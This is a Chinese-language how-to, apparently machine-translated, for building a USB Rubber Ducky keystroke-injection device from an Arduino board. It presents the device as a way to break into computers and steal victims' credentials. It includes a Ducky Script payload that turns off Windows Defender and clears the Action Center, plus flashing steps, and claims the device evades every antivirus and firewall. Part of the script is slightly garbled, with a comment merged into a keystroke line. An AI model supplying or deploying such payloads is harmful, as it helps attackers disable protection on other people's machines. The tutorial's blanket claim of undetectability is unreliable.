📜  如何在家制作USB Rubber Ducky?

📅  最后修改于: 2021-10-28 02:32:11             🧑  作者: Mango

USB Rubberducky是一种 HID 设备,外观类似于 USB 笔式驱动器。它可用于将击键注入系统,用于入侵系统,窃取受害者的基本信息,凭据数据可以将有效载荷注入受害者的计算机。 USB Rubberducky 最重要的一点是,它无法被任何防病毒软件或防火墙检测到,因为它充当 HID 设备。

如何制作 USB 橡皮鸭?

Android 手机也可用于制作 USB 橡皮鸭,如果 Android 设备已植根,我们可以将其用作橡皮鸭设备。并且可以执行原始小鸭可以执行的所有操作。

从 android 制作 USB 橡皮鸭:

  • 安卓手机必须root
  • 设备上安装的 Kali net Hunter

在本文中,我们必须使用其他一些组件在家中创建 USB Rubber Ducky。

材料要求

  1. 基于Arduino的板
  2. USB连接器
  3. Arduino IDE

步骤 1:首先从链接下载 Arduino IDE,然后像安装在 Windows 上的任何其他软件一样安装该软件。

下载并安装 Arduino IDE

下载并安装 Arduino IDE

步骤 2:使用 USB 连接器将 Arduino 板连接到计算机并打开 IDE。

第 3 步:现在从有效负载列表中根据您的任务进行选择。

第 4 步:在此处转换您选择在 Arduino 中执行的代码。

用于关闭 Windows Defender 的脚本

REM turn off windows defender then clear action center
REM author:geeksforgeeks
REM You take responsibility for any laws you break with this, I simply point out the security flaw
REM start of script
REM let the HID enumerate
DELAY 2000
ESCAPE
DELAY 100
CONTROL ESCAPE
DELAY 100
STRING Windows Defender Settings
ENTER
DELAY 2000
REM why TAB and HOME?
TAB
DELAY 50
REM why TAB and HOME?HOME
DELAY 50
ALT F4
DELAY 3200
REM windows + a = ????
GUI a 
DELAY 500
ENTER
DELAY 100
GUI a

将代码转换为可执行文件

第 5 步:在 Arduino IDE 中创建一个新项目,点击File–> New project

创建一个新项目

第 6 步:转换为添加到 Arduino IDE 的新代码后,现在选择您正在使用的开发板。工具->板->你的板。

选择板

第七步:点击项目,选择连接Arduino的端口。工具–>端口–>您的端口。

选择 Arduino 上的端口

第 8 步:现在当电路板连接时,输入您要使用的代码或有效载荷。

输入代码或有效载荷

第 9 步:现在验证并编译您的代码。草图->验证/编译。

验证并编译代码

第十步:编译完成后,将代码上传到Arduino设备。

将代码上传到 Arduino 设备

每当您将此板与任何计算机连接时,它都会像 USB 橡皮鸭一样工作并执行写入的有效负载。您可以在此处查看详细信息中有关 USB 橡皮鸭的信息。